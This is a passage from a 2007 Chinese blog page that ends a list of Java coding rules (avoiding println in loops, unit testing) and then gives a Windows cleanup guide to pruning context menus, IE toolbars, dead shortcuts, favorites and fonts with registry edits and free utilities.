    现在,每一次我们需要和某一些变量比较字符串“ABC”的时候,我们只需要引用S_CONSTANT_ABC,而不是记住实际的代码是什么。它还有一个好处是:更加容易在一个地方修改常量,而不是在所有的代码中寻找这个代码 不要发明你自己的Frameworks 已经推出了几千种frameworks,而且它们中的大多数是开源的。这些frameworks中间有很多是极好的解决方案,被应用到成千上万的应用中。你们需要跟上这些新frameworks的步伐,最起码是肤浅的。在这些极好的、应用广泛的frameworks中间,一个最好的、最直接的例子是Struts。在你所能想象到的frameworks中,这个开源的web frameworks对于基于web的应用是一个完美的候选者。但是你必须记住第二条规则——不要让事情复杂化。如果你开发的应用只有三个页面—请,不要使用Struts,对于这样一个应用,没有什么“控制”请求的。

    6. 不要打印行和字符串相加

    我知道,为了调试的目的,开发人员喜欢在每一个我们认为适合的地方添加System.out.println,而且我们会对我们自己说,会在以后删掉这些代码的。但是我们常常忘掉删去这些代码行,或者我们根本就不想删掉它们。我们使用System.out.println来测试,当我们测试完成以后,为什么我们还能接触到它们呢?我们可能删掉一行我们实际需要的代码,仅仅是因为你低估了System.out.println所带来的伤害,考虑下面的代码:

    public class BadCode ...{
    public static void calculationWithPrint()...{
    double someValue = 0D;
    for (int i = 0; i < 10000; i++) ...{
    System.out.println(someValue = someValue + i);
    }
    }
    public static void calculationWithOutPrint()...{

    double someValue = 0D;
    for (int i = 0; i < 10000; i++) ...{
    someValue = someValue + i;
    }

    }
    public static void main(String [] n) ...{
    BadCode.calculationWithPrint();
    BadCode.calculationWithOutPrint();
    }
    }


    1
    根据测试,calculationWithOutPrint()方法的运行花了0.001204秒。相比较而言,运行calculationWithPrint()方法花了令人惊讶的10.52秒。

    (如果你不知道怎么得到一个像这样的表格,请参阅我的文章“Java Profiling with WSAD” Java Profiling with WSAD)

    避免这样一个CPU浪费的最好方法是引入一个包装器方法,就象下面这样:



    public class BadCode ...{

    public static final int DEBUG_MODE = 1;
    public static final int PRODUCTION_MODE = 2;

    public static void calculationWithPrint(int logMode)...{
    double someValue = 0D;
    for (int i = 0; i < 10000; i++) ...{
    someValue = someValue + i;
    myPrintMethod(logMode, someValue);
    }
    }
    public static void myPrintMethod(int logMode, double value) ...{

    if (logMode > BadCode.DEBUG_MODE) ...{ return; }

    System.out.println(value);
    }
    public static void main(String [] n) ...{
    BadCode.calculationWithPrint(BadCode.PRODUCTION_MODE);
    }
    }




    根据测试,使用了StringBuffer的那个方法只花了0.01秒来执行,而那个使用了字符串相加的方法却花了0.08秒来运行。选择是显而易见的。


    7. 关注GUI

    不管这听起来有多么可笑,我都要再三地说明:GUI对于商业客户来说和功能和性能一样重要。GUI是一个成功的系统的必要的一部分。(但是),IT杂志常常倾向于忽视GUI的重要性。很多机构为了省钱而不雇用那些在设计“用户友好”GUI方面有丰富经验的设计人员。Java开发人员不得不依赖他们自己的HTML知识,但是他们在这方面的知识十分有限。我看到过很多这样的应用:它们是“计算机友好”,而不是“用户友好”我很少很少能看到有开发人员既精通软件开发,又精通GUI开发。如果你是那个不幸的开发人员,被分配去开发用户接口,你应该遵从以下的三条原则:

    一、不要重复发明轮子。寻找有相似用户接口需求的已经存在的系统。

    二、首先创建一个原型。这是非常重要的步骤。客户喜欢看看他们将要得到什么。这对你来说也是很好的,因为在你全力以赴而做出一个将要使用户生气的用户接口之前,你就得到了它们的反馈。

    三、戴用户的帽子。换一句话说,站在用户的视角检查应用的需求。例如,一个总结页面到底要不要分页。作为一个软件开发者,你倾向于在一个系统中忽视分页,因为这样使得你有比较少的开发复杂性。但是,这对于从一个用户的视角来说却不是最好的解决方案,因为小结的数据将会有成百上千个数据行。


    8. 永远准备文档化的需求

    每一个业务需求都必须文档化。这可能在一些童话故事里才能成真,但是在现实世界却不可能。不管时间对于你的开发来说是多么紧迫,也不管交付日期马上就要到来,你永远都必须清楚,每一个业务需求是文档化的。

    9. 单元测试、单元测试、单元测试

    我将不会深入地讨论哪些什么是把你的代码进行单元测试的最佳方法的细节问题。我将要说的是单元测试必须要做。这是编程的最基本的法则。这是上面所有法则中最不能被忽略的一个。如果你的同事能为你的代码创建和测试单元测试,这是最好不过的事。但是如果没有人为你做这些事,那么你就必须自己做。在创建你的单元测试计划的时候,遵从下面的这些规则:

    一、在写代码之前就写单元测试用例。

    二、在单元测试里写注释。

    三、测试一切执行“interesting”功能的公有方法(“interesting”的意思是非setters或getters方法,除非它们通过一种特殊的方式执行set和get方法)。

    10. 记住—质量,而不是数量。

    不要在办公室里呆得太晚(当你不必呆的太晚的时候)。我理解有时,产品的问题、紧迫的最终期限、意想不到的事件都会阻止我们按时下班。但是,在正常情况下,经理是不会赏识和奖赏那些下班太晚的员工的,他赏识他们是因为他们所做产品的质量。如果你遵从了我上面给出的那些规则,你将会发现你的代码更加少的bug,更加多的可维护性。而这才是你的工作的最重要的部分。

    总结

    在这篇文章里,我给出了针对Java开发人员的十个重要的规则。重要的不仅仅是知道这些规则,在编码的过程中遵从这些规则更为重要。希望这些规则能够帮助我们成为更好的编程人员和专业人员。
    posted @ 2007-05-19 00:55 jadmin 阅读(48) | 评论 (0)编辑 收藏

         提起电脑的清理工作,大家都很熟悉吧!不过,很多朋友在对清理的认识上还有一定的局限性,更多的是集中在删除一些windows自身生成的垃圾文件等方面;实际上还有一些另类的垃圾,比如:软件在右键菜单中的项目;IE右键菜单、工具栏图标、收藏夹中的无用项目;失效的快捷方式等。它们的存在,不仅浪费了我们宝贵的硬盘空间,还会给病毒留下可乘之机。所以及时地给电脑来个大清理是很有必要的。

    一、 资源管理器的右键菜单

      1、删除右键菜单中的多余项

      大家都知道,许多软件在安装时,首先要把自身的安装文件解压缩到一个临时目录(一般为 Windows文件夹下的Temp目录),如WinZip等工具,然后再进行安装。如果软件设计有疏忽或者系统有问题,当安装结束后,这些临时文件就会变得并不“临时”,成为硬盘里的一堆垃圾,往往它们是以*.tmp的面孔出现的;在软件的运行过程中通常会产生一些临时交换文件,比如一些程序工作时产生的形如*.old、*.bak这样的备份文件,杀毒软件或系统软件检查硬盘时生成的备份文件等;而软件被卸载后,也会在硬盘中留下一些文件夹、*.dll文件、*.hlp文件和注册表键值以及形形色色不知名的小东西,成为货真价实的垃圾。事实上我们正常卸载某个应用程序后,右键菜单中也会遗留下一些不再需要的项目,同样需要将其删除。这些遗留项目一般都存放在“HKEY_CLASSES_ROOT\*shellexContextMenuHandlers”;如果是只对文件夹有效的项目,则存放在“HKEY_CLASSES_ROOTDirectoryshell”和“HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers”,有时在“HKEY_CLASSES_ROOTFoldershell”和“HKEY_CLASSES_ROOTFoldershellexContextMenuHandlers”也有,找到后将他们删除即可。

      另外,利用注册表的查找功能也可以去掉卸载后的遗留文件,在注册表中查找与软件有关的键值,找到并删除,可能有多个,这时你可以用F3快捷键继续查找,直到所有的项目全被删除。

      (提示:在进行任何注册表删除操作前,都要在注册表编辑器中对要删除的项进行导出操作。)

      2、利用ShellExView清理

      在注册表中手工删除不需要的右键菜单项,很方便,但一定要对删除的项进行导出操作,防止出错!许多朋友会认为有些麻烦,在这里向大家推荐使用ShellExView免费软件来完成以上的任务,它是一款能够显示并控制所有安装到系统的Windows外壳扩展,比如:右键菜单、用鼠标右键托放文件或文件夹松开按键后弹出菜单等的小工具。

      下载后可以将压缩包解压缩至任意文件夹,比如“C: ShellExView”,运行其中的“Shexview.exe”即可启动程序。如果你想把以前安装的Real Player软件在右键菜单中的项目去掉,可在“Filename”列下找到并选中“C:Program FilesRealRealOne Playerrpshellsearch.dll”项(通过文件名来查找,也可通过“Description”(描述)、“Extension Name”(扩展名称)等条件来查找),右击后选择“Disable Selected Items”(禁用所选项目),这样Real Player软件在右键菜单中的项目就都消失了,如果再次选择“Enable Selected Items”(启用所选项目)可以进行恢复。

      另外,利用ShellExView,还可以在“我的电脑”和桌面上添加或删除特定文件夹(打印机、回收站、计划任务、网络连接等),比如在列表中选中“管理工具”,然后点击“Files→Add Selected Items To...”(添加所选项目到),在下级子菜单中选择“My Computer”。这样就可以把“管理工具”添加到“我的电脑”中了。

      软件名称:ShellExView、软件版本:1.01、软件大小:22KB、适用平台:Windows98/Me/2000/XP、下载地址:http://files.webattack.com/localdl834/shexview.zip

      3、删除“新建”子菜单中的选项

      在单击鼠标右键所弹出的菜单中选择“新建”子菜单,就会显示出系统中已安装应用程序所对应的新建文件。随着系统中的应用程序越来越多,“新建”子菜单中的内容也会随之增多。可是在计算机的日常使用中,用户并不需要创建这么多类型的文件。其实我们完全可以通过修改注册表来删除“新建”菜单中的选项,而且操作并不复杂,只需启动注册表编辑器,将[HKEY_CLASSES_ROOT\.***](“.***”是要删除项目的文件扩展名)下的“ShellNew”项删除,然后退出注册表编辑器并重新启动计算机即可。

      我们以删除“新建”子菜单中的“WinRAR压缩文件”项为例;首先要找到[HKEY_LOCAL_MACHNESOFTWAREClasses\.rar],将其下的“ShellNew”项删除,回到桌面,按下F5键刷新,接着再右击桌面空白处,选择“新建”,这时你就会发现原有的“WinRAR压缩文件”已经消失了。

      4、删除“打开方式”子菜单中的无用项

      右击某个文件,有可能在右键菜单的“打开方式”子菜单中有些我们并不需要的程序,“.TXT”文件的“打开方式”中有三个程序,其实有些根本不会用到,这时只要到注册表的[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts]和[HKEY_CLASSES_ROOTSystemFileAssociations]中找到相应扩展名项,然后在“OpenWithList”子项中删除不需要的键值或项即可。

      我们以删除文本文件右键菜单“打开方式”子菜单中的无用项为例;进入[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts\.txtOpenWithList]删除右侧窗格的相应键值,再进入[HKEY_CLASSES_ROOTSystemFileAssociationstextOpenWithList],删除相应子项即可。

    二、 让IE轻装上阵

      随着网络技术的不断发展,通过网络沟通和交流已成为许多人日常生活的一部分,然而IE中的不和谐因素总是令人伤透了脑筋。窗口标题、默认首页被改得面目全非;右键菜单、工具栏、工具条被强行加入各种各样乱七八糟的内容等等,其实上面的这些情况,可以用3721上网助手全部解决。如果您的系统中没有安装的话,可在浏览器中打开assistant.3721.com,将上网助手下载并安装到系统中,安装完毕后,建议重新启动一下系统再进行下一步操作。

      1、清理IE右键菜单

      在浏览器打开的网页窗口中,右击鼠标时,会弹出快捷菜单,从中,我们可以快速地进行诸如文件下载、图片保存等很多项操作。但是,现在很多程序只要安装到系统中,便自作主张地在IE右键菜单中添加相关的项目。长此以往,IE右键菜单不仅会变得很臃肿,而且会使弹出右键菜单的时间越来越长,影响系统的运行。因此,清理不需要的右键菜单项,十分有必要。

      首先启动IE浏览器,然后单击地址栏下面的“上网助手→修复IE→恢复IE外观”,即可打开窗口:要想清理IE右键菜单,我们只要窗口中选择“清理IE右键菜单”选项卡,即可打开新的窗口,中间的列表显示了所有当前IE右键菜单中的项目,如果想清除哪项,只要用鼠标选择它,再单击“立即清理”按钮即可。

      2、清理IE工具栏按钮

      清理IE工具栏按钮的方法与此类似。点击“清理IE工具栏按钮”,进入功能页面:

      中间的列表显示了IE工具栏上可以清除的按钮。只需要点击每项前面的复选框,然后点击“立即清除”,即可去掉被选中的工具栏按钮。

      重新打开一个IE窗口,可以看到被删除的工具栏按钮已经消失了。

      3、清理IE工具条

      由于IE的灵活性,它的工具条也是可以随意添加的,在很多的工具条都想放到IE上的情况下,IE越发变得拥挤不堪了。

      另外,如果加载了超过3个以上的工具条,IE的启动速度就会有所降低。这是因为IE在启动时,会对需要加载的工具条进行初始化,完成一些设置。当只有1、2个工具条时,我们不会有所感觉。而超过3个以上,速度就会明显降低。另外如果工具条的内容还需要从互联网上即时下载下来,那么这个延迟就更明显。所以建议大家最多只加载2个工具条。

      当然,IE也提供了不加载工具条的功能。点击菜单“查看→工具栏”,可以看到IE中已经安装的工具条,其中的“标准按钮”、“地址栏”是最基本的,不应该删除。其他的像“链接”等,没有多少用处,可以不用加载。方法是点击该项,其前面的“勾选”标记消失,而该项代表的工具条,也不再在IE中显示了。不过很显然,由于每去掉一个工具条,就需要刷新一次IE,因此这种操作比较麻烦。

      实际上我们可以用上网助手来完成这个操作。启动IE浏览器,然后单击地址栏下面的“上网助手→修复IE→恢复IE外观”,要想清理IE工具条,我们只要在窗口中选择“清理IE工具条”选项卡,即可打开新的窗口,中间的列表显示了IE工具栏条中可以不加载的项。只需要点击每项前面的复选框,然后点击“立即清除”。重新打开一个IE窗口,可以看到该工具条没有被加载。

      经过上述的清理,相信您的IE一定清爽了许多,而且由于卸掉了一些包袱,轻装上阵,IE的启动速度也快了不少吧!

    三、删除无效的快捷方式

      大家都知道,不管是Windows 9x/Me还是加了SP1补丁的Windows XP,用得时间长了,系统中的各种垃圾文件和垃圾信息就会越来越多。而在Windows中还有一种不太为人所知的垃圾,那就是失效的快捷方式,比如已经修改了某个软件(或文件)所在的文件夹,但其快捷方式依然指向原来的位置,或者已经卸载了软件或删除了文件,但相应快捷方式却仍留在“开始→程序”、“开始→文档”、“C:Progeam Files”等处,Windows用得越久,这些垃圾快捷方式越多,Windows也就会变得越来越臃肿,运行效率当然也越来越低了。这时候,你可以使用Windows优化大师进行清理,或使用OrphansRemover这款免费软件(下载地址:http://www.digiarch.org/download/orphansremover.zip)来查找并清除它们。

      下载并安装后,运行OrphansRemover,在软件窗口上方的“Select folders to shortcut orphans:”和“lnclude shortcuts with broken links to:”项下选择要扫描的文件夹及连接到移动存储器、光盘等上的无效快捷方式。而“User defined search folder”文本框中则允许你指定文件夹。最后单击窗口下方的“Start scan”按钮开始扫描,完成扫描后单击“Delete orphans”按钮删除无效快捷方式即可。

      另外,OrphansRemover这款软件还支持命令行参数,比如“ D:program filesorphansremover orphansremover.exe recent startmenu-silent”可以清理“文档”、“开始”菜单中的无效快捷方式,其中“recent”为“文档”、“startmenu”为“开始”菜单,而“-silent”表示后台安静执行。其它参数请参考OrphansRemover安装文件夹manual.html文件的相关说明。

    四、清理IE收藏夹

      在网上冲浪时,许多网站因为一时之需而收藏,但因为需求的结束而无用;还有一些网站,因为这样或那样的原因而关闭了,另外还有一些网站,在你访问它的时候,它会自动添加进你的收藏夹……,上网时间久了,收藏夹可是越来越庞大了。如何快速地知道哪些网站地址已经失效,并删除这些无效的网址呢?如果采取以往的逐个链接去检测、清理的方法,肯定是费时费力,有没有更好的办法呢?这时免费的AM-Deadlink软件就派上了用场,它能满足您的需求。

      安装并运行该软件,在出现主窗口的同时会弹出语言选择窗口,在下拉菜单中选择“Chinese_gb”后软件界面变为简体中文,接着按F9键软件开始对收藏夹中的网址进行校验,建议按下工具栏上倒数第二个图标,这样在收藏夹列表窗口下方会出现浏览窗口,双击上面的网址可在此窗口中打开网页,便于进一步的查看。

      对于网址不存在的,AM-Deadlink会在“状态”栏中显示“文件没有发现”,这时先不要点击“收藏夹→删除”,因为很可能是你所收藏的网址是该网站中某个已经删除的页面,而实际上这个网站依然存在,所以请在下方的浏览窗口中单击右侧的锤子图标按钮,在出现的菜单中选择“提高一级”看看是否会出现网站首页,如果发现首页没有问题,可继续选择“以打开的URL地址替换书签内URL”,重新设置网址。如果“提高一级”也不行的话,不用着急,可再选择此菜单中的“搜寻Google”,AM-Deadlink会用网站的名称在Google中搜寻(经测试发现对中文支持不好),让你有机会找到网站的新网址。

      另外,目前不少网站提供了个性化的收藏夹图标,如果你发现自己的收藏夹网址前面没有任何图标,可以按下“Favlcons→检查书签并下载收藏夹图标”,它可以帮助您解决。同时AM-Deadlink软件还具有备份收藏夹功能,它支持将收藏夹备份为ZIP文件,只需点击“备份→Internet Explorer收藏夹(ZIP文件)”即可。

      软件名称:AM-Deadlink、软件版本:2.01、软件大小:779KB、软件性质:免费软件、适用平台:Windows 9x/Me/NT/2000/XP、下载地址:http://www.onlinedown.net/soft/24238.htm

    五、清理无用字体

      1、删除无用字体

      在文档处理或美术设计的过程中,为了达到美观或其它的要求,我们可能需要安装并使用一些非系统自带的各种特殊的字体。久而久之,系统里究竟安装了多少种字体恐怕连自己也不太清楚了。实际上字体超过500种时,就会出现问题,比如:字体从应用程序的字体列表中消失以及Windows的启动速度大幅下降。显而易见,过多的字体不仅占用较多的系统资源,还会影响到Windows的整体表现。为了提升系统性能,建议您最好将用不到或者不常用的字体删除。

      要想删除无用或不常用的字体,就要知道哪些字体不能删除。首先宋体不能删除,它是系统默认的中文字体;屏幕字体文件(扩展名为.FON)不能随意删除,否则一些对话框中的文字会变成乱码,甚至会导致Windows 98/Me无法启动;“.SYS”为系统字体,在系统提示信息和图标描述性文字中要用到这些字体,删除后可能会导致系统崩溃;还有一些符号,如Marlett、Windings等字体,也不能随意删除。而且带有这些文字的字体不要删除:Arial、Courier、MS Serif、Tahoma、Verdana、Comic Sans、MS Sans Serif、Symbol、Time New Roman、Impact、Lucida Console、Marlett、Modem、Samall Fonts、Webdings、Windings、Roman、MS-DOS CP437、script、SIMHEI、SimSun&NSimSun、Palatino、Linotype、Microsoft、MS。

      另外,Windows中安装了不少相似字体,在许多情况下是不必要而且几乎不可能全都用到的,因此可以将相似的字体找出来,保留几个最常用的,其他的都可以利用下面的方法移走。

      为了避免错删字体而导致的系统故障,值得推荐的方法是把字体移出“FONTS”文件夹,集中保存在另外的目录,比如“D:fontsback”中。同时要为该文件创建一个快捷方式,并将其放在“开始”菜单或“快速启动”栏上。当使用这些字体时,只需打开该文件夹,然后双击某个字体让其显示在预览窗口,只要预览窗口一打开,字体就装载至内存,而且在任何应用程序的“字体”菜单中都能看到。用户可以使用这种方式载入多种字体,等使用完这些字体后,只要关闭预览窗口即可。

      2、用Font Frenzy清理无用字体

      Font Frenzy是一款免费注册的字体工具,可以列表查看当前系统所安装的所有字体,具有安装和删除字体的功能,也可以从系统字体目录移动不使用的字体到指定文件夹,并能制作一个字体镜像文件,以便以后使用该镜像文件恢复到系统以前所安装的那些字体配置。 如果想删除所有Windows安装后新增的字体,请先关闭所有正在运行的程序,单击工具栏上的“Defrenzy”按钮,接着单击左侧窗格中的“Defrenzy Now”按钮,此时会弹出提示备份的对话框,单击“是”按钮后弹出保存备份的文件夹选择,直接使用默认文件夹,按下“OK”按钮,这时会弹出备份快照名称输入窗口,输入易记忆的名称并单击“OK”按钮,软件会很快地把字体移动到备份文件夹中。如果出现了问题,可直接单击“ReFrenzy”按钮,然后选择之前的备份快照进行恢复。

      当然,你也可以采取手动的方法进行字体移除。首先单击工具栏上的“FrenzySnap”按钮,接着单击“Save Snapshot”按钮保存一个快照,接着单击工具栏上的“FrenzyMan”按钮,在字体列表中勾选不需要的字体(特别是那些安装Office之后的中文字体),然后在左侧窗格中选择“Uninstall & Store Fonts:”,单击“Select”按钮后这些字体便会从Windows的Fonts文件夹中移动到Font Frenzy默认的字体保存文件夹中。怎么样?有了Font Frenzy这个好助手,你再也不会为字体问题而担忧了吧!

    posted @ 2007-05-19 00:45 jadmin 阅读(63) | 评论 (0)编辑 收藏